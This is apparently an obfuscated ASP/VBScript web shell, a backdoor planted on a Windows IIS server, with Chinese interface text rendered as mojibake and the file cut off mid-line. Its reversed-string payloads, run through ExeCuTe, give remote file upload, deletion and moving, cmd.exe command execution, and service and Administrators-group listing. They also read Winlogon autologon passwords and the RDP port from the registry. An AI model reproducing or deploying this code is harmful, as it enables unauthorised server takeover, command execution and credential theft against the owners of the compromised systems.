" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
Îı¾±à¼­Æ÷
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



Îļþ "&Path&" ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



Ŀ¼" & Path & "ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



Ŀ¼" & Path & "н¨³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Hacker="noitcnuF dnE~WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<¨~ & WR=WR ~¨~>'timbus'=ssalc '´«ÉÏ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'522:htdiw'=elyts 'elif'=epyt 'eliFlacoL'=eman tupni<¨~ & WR=WR ~¨~;psbn&>'052:htdiw'=elyts '¨~&)¨~psa.a\¨~&)¨~htaPredloF¨~(noisseS(htaPeRR&¨~'=eulav 'htaPoT'=eman tupni<£º¾¶Â·´«ÉϨ~ & WR=WR ~¨~>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¼þÎÄ´«ÉÏ>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?¨~&LRU&¨~'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~fI dnE ~dnE.esnopseR ~)(rrEwohS ~WR etirW.esnopseR ~lrUkcaB & WR=WR ~gnihton=U teS:gnihton=F teS ~fI dnE ~fi dnE ~¨~>retnec/<£¡¹¦³É´«ÉϨ~ & emaNU & ¨~¼þÎÄ>rb<>rb<>rb<>retnec<¨~=WR ~nehT 0=rebmun.rrE fI ~emaNU sAevaS.F ~eslE ~¨~!´«ÉϼþÎĸöÒ»ÔñÑ¡ºó¾¶Â·È«ÍêµÄ´«ÉÏÈëÊäÇë>rb<¨~=WR ~neht 0=eziSeliF.F rO ¨~¨~=emaNU fI ~)¨~htaPoT¨~(mrof.U=emaNU ~)¨~eliFlacoL¨~(AU.U=F teS : CPU wen=U teS ~nehT ¨~tsoP¨~=)¨~2noitcA¨~(tseuqeR fI ~emaNeliFrts mid ~)(eliFpU noitcnuF" ExeCuTe(UZSS(Hacker)) Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Hacker="noitcnuF dnE~¨~¨~=gnoyoaix : ¨~¨~=WR : WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>aeratxet/<¨~ & )31(rhc & WR=WR ~fI dnE ~fi dne ~gnihtoN=osf teS ~gnihtoN=xcleliFo teS ~gnoyoaix & WR=WR ~)eurT ,eliFpmeTzs(eliFeteleD.osf llaC ~esolC.xcleliFo ~llAdaeR.xcleliFo=gnoyoaix ~)0 ,eslaF ,1 ,eliFpmeTzs( eliFtxeTnepO.osf=xcleliFo teS ~))0,0(TbO(tcejbOetaerC=osf teS ~)eurT ,0 ,eliFpmeTzs & ¨~ > ¨~ & dmCfeD & ¨~ c/ ¨~ & htaPllehS( nuR.sw llaC ~)¨~txt.dmc¨~(htappam.revres = eliFpmeTzs ~esle ~gnihtoN=DD teS ~gnihtoN=MC teS ~gnoyoaix & WR=WR ~lladaer.tuodts.DD=gnoyoaix ~)dmCfeD&¨~ c/ ¨~&htaPllehS(cexe.MC=DD teS ~))0,1(TbO(tcejbOetaerC=MC teS ~neht ¨~sey¨~=)¨~tpircsw¨~(mroF.tseuqeR fi ~aaa mid ~nehT ¨~¨~><)¨~dmc¨~(mroF.tseuqeR fI ~¨~>'054:thgieh;006:htdiw'=elyts aeratxet<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt<>dt/<>'timbus'=ssalc 'ÐÐÖ´'=eulav 'timbus'=epyt tupni<;psbn&>'¨~ & dmCfeD & ¨~'=eulav '084:htdiw'=elyts 'dmc'=eman tupni<£ºÁîÃüllehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/¨~ & dekcehc & ¨~'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'514:htdiw'=elyts '¨~ & htaPllehS & ¨~'=eulav 'PS'=eman tupni<£º¾¶Â·llehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÐÐÁîÃüdmC>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~dmc¨~(tseuqeR = dmCfeD nehT ¨~¨~><)¨~dmc¨~(tseuqeR fI ~fi dne ~¨~¨~=dekcehc ~esle ~¨~dekcehc ¨~=dekcehc ~neht ¨~sey¨~=)¨~tpircsw¨~(tseuqeR fi ~¨~exe.dmc¨~ = htaPllehS nehT ¨~¨~=htaPllehS fi ~)¨~htaPllehS¨~(noisseS=htaPllehS ~)¨~PS¨~(tseuqeR = )¨~htaPllehS¨~(noisseS nehT ¨~¨~><)¨~PS¨~(tseuqeR fI ~xcleliFo,eliFpmeTzs,gnoyoaix,DD,MC,dmCfeD,dekcehc mid ~)(llehSdmC noitcnuF" ExeCuTe(UZSS(Hacker)) Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
ËÑË÷ÒýÇæ
 Â·  ¾¶£º ×¢:¶à·¾¶Ê¹ÓÃ"",""ºÅÁ¬½Ó.
 ÎļþÃû£º  [²¿·ÖÒ²ÐÐ]
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "·Ñʱ£º"&(timer()-st)*1000&"ºÁÃë
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

¹Ø¼ü×Ö²»ÄÜ°üº¬/\:|&
" Exit Function else Response.Write "

" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

¹²ËÑË÷µ½"&Counter&"¸ö½á¹û
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Hacker="noitcnuF dnE~¨~¨~=2WR: ¨~¨~=1WR: ¨~¨~=0WR: ¨~¨~=WR: ¨~>rb<>elbat/<¨~ & 2WR & 1WR & 0WR & WR etirW.esnopseR ~gnihtoN=as teS ~gnihtoN=esruoCjbo teS ~txen ~fi dne ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'000800#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 2WR=2WR ~esle ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'0000FF#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 1WR=1WR ~neht 2=epyTtratS.jbo dna ¨~niw¨~><))3,4,htap.jbo(dim(esaCL fi ~¨~Óýû¨~=xl neht 4=epyTtratS.jbo fi ~ ¨~¶¯ÊÖ¨~=xl neht 3=epyTtratS.jbo fi ~¨~¶¯×Ô¨~=xl neht 2=epyTtratS.jbo fi ~fi dne ~ ¨~>rt/<>dt/<;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~=0WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~)×é(»§ÓÃͳϵ¨~ & WR=WR ~ ¨~;psbn&>'FFFFFF#'=rolocgb dt<>dt/<¨~ & WR=WR ~emaN.jbo & WR=WR ~¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<¨~ & WR=WR ~¨~>rt<¨~ & WR=WR ~neht ¨~¨~=epyTtratS.jbo fi ~raelC.rrE ~esruoCjbo ni jbo hcae rof ~)¨~.//:TNniW¨~(tcejbOteG=esruoCjbo teS ~)¨~noitacilppA.llehS¨~(tcejbOetaerC=as teS ~txeN emuseR rorrE nO ~¨~>rt/<>dt/<Îñ·þÓ뻧ÓÃͳϵ>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~2WR,1WR,0WR,esruoCjbo,jbo,as mid ~)(esruoC noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~¨~=WR:WR etirW.esnopseR ~fi dne ~¨~>elbat/<¨~ & WR=WR ~esle ~gnihtoN=llehSHSW teS ~¨~>elbat/<>rt/<>dt/<¨~ & rtsdaeRsi & ¨~£ºÊÇÖµ¸Ã;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~))¨~emaNRT¨~(tseuqeR & )¨~htaPRT¨~(tseuqeR(daeRgeR.llehSHSW=rtsdaeRsi ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW teS ~neht )¨~¨~><)¨~emaNRT¨~(tseuqeR( dna )¨~¨~><)¨~htaPRT¨~(tseuqeR( fi ~ fi dne ~ fi dne ~ ¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & dwpnigoLotua & ¨~£ºÂëÃÜ»§ÕʵļµÇ¶¯×Ô;psbn&¨~ & WR=WR ~raelC.rrE nehT rrE fI ~)yeKdwpnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=dwpnigoLotua ~txeN emuseR rorrE nO ~¨~>rb<¨~ & resUnigoLotua & ¨~£º»§ÕÊͳϵµÄ¼µÇ¶¯×Ô;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=resUnigoLotua ~esle ~¨~>elbat/<>rt/<>dt/<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~neht 0=elbanEnigoLotua fi ~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=elbanEnigoLotua ~¨~drowssaPtluafeD¨~=yeKdwpnigoLotua ~¨~emaNresUtluafeD¨~=yeKresUnigoLotua ~¨~nogoLnimdAotuA¨~=yeKelbanEnigoLotua ~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=htaPnigoLotua ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW tes ~neht ¨~nogoLotuA¨~=)¨~di¨~(tseuqeR fi ~¨~>rt/<>dt/rb<\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH£º¾¶Â·Ïî;psbn&>rb<¿Ú¶Ë¶ËÖÕÈ¡¶Á£ºÈç¡¡Àý;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'002:htdiw'=elyts '¨~ & )¨~emaNRT¨~(tseuqeR & ¨~'=eulav 'emaNRT'=eman tupni<£º³ÆÃûÖµ;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>'025:htdiw'=elyts '¨~ & )¨~htaPRT¨~(tseuqeR & ¨~'=eulav 'htaPRT'=eman tupni<£º¾¶Â·Ïî;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~>a/<]Ï¢ÐżµÇ¶¯×Ô[>'nogoLotuA=di&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]³ÆÃû»ú±¾[>'emaNretupmoC=emaNRT&\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=htaPRT&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]¿Ú¶Ë¶ËÖÕ[>'rebmuNtroP=emaNRT&\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH=htaPRT&tidegeRT=noitcA?'=ferh a<£ºµÀͨËÙ¿ì;psbn&>'02'=thgieh 'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²ÙÈ¡¶ÁÖµ¼ü±í²á×¢>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem 'tidegeRT=noitcA?¨~&LRU&¨~'=noitca mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~dwpnigoLotua,resUnigoLotua,elbanEnigoLotua mid ~yeKdwpnigoLotua,yeKresUnigoLotua,yeKelbanEnigoLotua,htaPnigoLotua mid ~rtsdaeRsi,llehSHSW mid ~)(tidegeRT noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~>rb<>elbat/<¨~ etirw.esnopseR ~htiw dne ~txen ~¨~>rt/<>dt/<>tnof/<¨~&)vs(selbairaVrevres.tseuqeR&¨~>'WORRAN LAIRA'=elyts tnof<>dt<>dt/<>tnof/<¨~ etirw.esnopseR ~vs etirw.esnopseR ~¨~;psbn&>'WORRAN LAIRA'=elyts tnof<>dt<>rt<¨~ etirw.esnopseR ~selbairavrevres.tseuqeR ni vs hcae rof ~esnopser htiw ~vs mid ~¨~>rt/<>dt/<>tnof/<¹û½á>FFFFFF#=roloc tnof<>retnec=ngila dt<>dt/<>tnof/<ÃûÁ¿±ä>FFFFFF#=roloc tnof<>retnec=ngila dt<>rt<>rt/<>dt/<±íÁÐ selbairaVrevreS.tseuqeR>retnec=ngila '2'=napsloc dt<>rt<>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ etirw.esnopseR ~)(Ewohs noitcnuF" ExeCuTe(UZSS(Hacker)) function goback() set Ofso = Server.CreateObject("Scripting.FileSystemObject") set ofolder = Ofso.Getfolder(Session("FolderPath")) if not ofolder.IsRootFolder then Response.write "" else Response.write "" end if set Ofso=nothing set ofolder=nothing end function Function proxy() sx() proxy1() End Function Function proxy1() on error resume next url=lcase(request("pURL")) if url<>"" then if left(url,7)<>"http://" then url="http://" & url set xml=server.createobject("Microsoft.Xmlhttp") xml.open "Get",url,false,false xml.send if err then response.write "
ÎÞ·¨·ÃÎÊ.
":response.end proxyweb=B2Bstr(xml.responsebody) end if Response.write proxyweb End Function Function B2Bstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" B2Bstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function sx() RRS "" RRS "
" RRS "
µ¥Ò³´úÀí

" RRS "Address:" RRS " The Address what you want to visit" RRS "
" RRS "
" RRS "
" End Function function php() set fso=Server.CreateObject("Scripting.FileSystemObject") fso.CreateTextFile(server.mappath("lp.php")).Write"" Response.write" " Response.write "





Èç¹ûÄãÄÜ¿´µ½lp.phpÕý³£ÏÔʾ,±íʾ֧³ÖPHP

·ñÔò¾ÍÊDz»Ö§³ÖÀ­

ɾ³ý²âÊÔµÄPHPÎļþ

" End function function lpdel set fso=Server.CreateObject("Scripting.FileSystemObject") fso.DeleteFile(server.mappath("lp.php")) End function Hacker="noitcnuF dnE~¨~¨~=WR : WR etirW.esnopseR ~txeN ~¨~>rt/<>dt/<¨~&))0,i(TbO(jbOsI&¨~>'retnec'=ngila dt<>dt/<>tnof/<¨~&)1,i(TbO&¨~>'888888#'=roloc tnof<: ¨~&)0,i(TbO&¨~;psbn&>'02'=thgieh dt<>rt<¨~ & WR=WR ~41 oT 0=i roF ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~ & WR=WR ~¨~¨~ & WR=WR ~¨~>elbat/<>rt/<>dt/<¨~&)¨~ERAWTFOS_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:±¾°ærevreS SII;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SO¨~(selbairaVrevreS.tseuqeR&¨~:sO revreS;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>a/<>tnof/<]±íÁÐ selbairaVrevreS.tseuqeR[>'der'=roloc tnof<>'emarFeliF'=tegrat 'Ewohs=noitcA?'=ferh a<¨~ & WR=WR ~¨~;psbn&¸ö¨~&tnuoC.selbairaVrevreS.tseuqeR&¨~:Á¿±ä¾³»·;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SROSSECORP_FO_REBMUN¨~(selbairaVrevreS.tseuqeR&¨~:ÇéÏêUPC;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<;psbn&¨~&won&¨~:emiT revreS;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<)¨~&)¨~TROP_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:¨~ & PIrevreS & ¨~(¨~&MNrevreS&¨~:Ö·µØÆ÷Îñ·þ;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<]Ï¢Ðżþ×é[ ¿ö¸ÅÆ÷Îñ·þ>'unem'=rolocgb 'retnec'=ngila '4'=napsloc dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)(ofnIrevreS noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne~¨~krowteN.tpircsW:!ÏÞȨÓÐû¨~ etirw.esnopseR~neht rre fi~txeN~¨~>rb<>retnec/<¨~&emaN.nimda&¨~>retnec<¨~ etirw.esnopseR~srebmeM.puorGjbo ni nimda hcaE roF~)¨~puorg,srotartsinimdA/¨~&emaNretupmoC.Nt&¨~//:TNniW¨~(tcejbOteG=puorGjbo teS~)¨~krowteN.tpircsW¨~(tcejbOetaerc.revres=Nt teS~txen emuser rorre no~0=seripxE.esnopseR~)(banimda noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="buS dnE~¨~>lo/<¨~ SRR~fI dnE~¨~>rb<¨~ & drowssaPnigoLotua & ¨~ :ÂëÃÜ»§ÕʵļµÇ¶¯×Ô¨~ SRR~fI dnE~¨~eslaF¨~ SRR~raelC.rrE~nehT rrE fI~)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua~¨~>rb<¨~ & emanresUnigoLotua & ¨~ :»§ÕÊͳϵµÄ¼µÇ¶¯×Ô¨~ SRR~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua~eslE~¨~>/rb<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ¨~ SRR~nehT 0 = elbanEnigoLotuAsi fI~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi~¨~drowssaPtluafeD¨~ = yeKssaPnigoLotua~¨~emaNresUtluafeD¨~ = yeKresUnigoLotua~¨~nogoLnimdAotuA¨~ = yeKelbanEnigoLotua~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~ = htaPnigoLotua~fI dnE~¨~>/rb<¨~ & troPmret & ¨~ :¿Ú¶ËÎñ·þ¶ËÖÕÇ°µ±¨~ SRR~eslE ~¨~>/rb<.ÖÆÏÞµ½Êܾ­ÒÑ·ñÊÇÏÞȨ²é¼ìÇë ,¿Ú¶ËÎñ·þ¶ËÖÕµ½µÃ·¨ÎÞ¨~SRR~ nehT 0 >< rebmuN.rrE rO ¨~¨~ = troPmret fI~¨~>lo<>/rh<¼µÇ¶¯×Ô¼°¿Ú¶ËÎñ·þ¶ËÖÕ¨~ SRR~)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret~¨~rebmuNtroP¨~ = yeKtroPlanimret~¨~\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH¨~ = htaPtroPlanimret~drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD~yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD~troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = Xsw teS~¨~------------------------------------------------------¨~ etirW.esnopseR~¨~>rb<¨~&troPWAP&¨~:Ϊ¿Ú¶ËerehwynAcP>il<¨~ etirW.esnopseR~¨~erehwynAcp×°°²·ñÊÇ»úÖ÷ÈÏÈ·Çë.È¡»ñ·¨ÎÞ¨~=troPWAP neht ¨~¨~=troPWAP fI~)yeKerehwynAcp(daeRgeR.hsW=troPWAP~¨~troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yeKerehwynAcp~¨~>rb<¨~&troPmreT&¨~:Ϊ¿Ú¶ËecivreS lanimreT>il<¨~ etirW.esnopseR~¨~»úÖ÷±¾°ærevreS swodniWΪ·ñÊÇÈÏÈ·Çë.È¡¶Á·¨ÎÞ¨~=troPmreT nehT ¨~¨~=troPmreT fI~)yeKmreT(daeRgeR.hsW=troPmreT~¨~rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH¨~=yeKmreT~¨~>rb<¨~&troptnlT&¨~:¿Ú¶ËtenleT>il<¨~ etirW.esnopseR~¨~32¨~=tnlT nehT ¨~¨~=troPtnlT 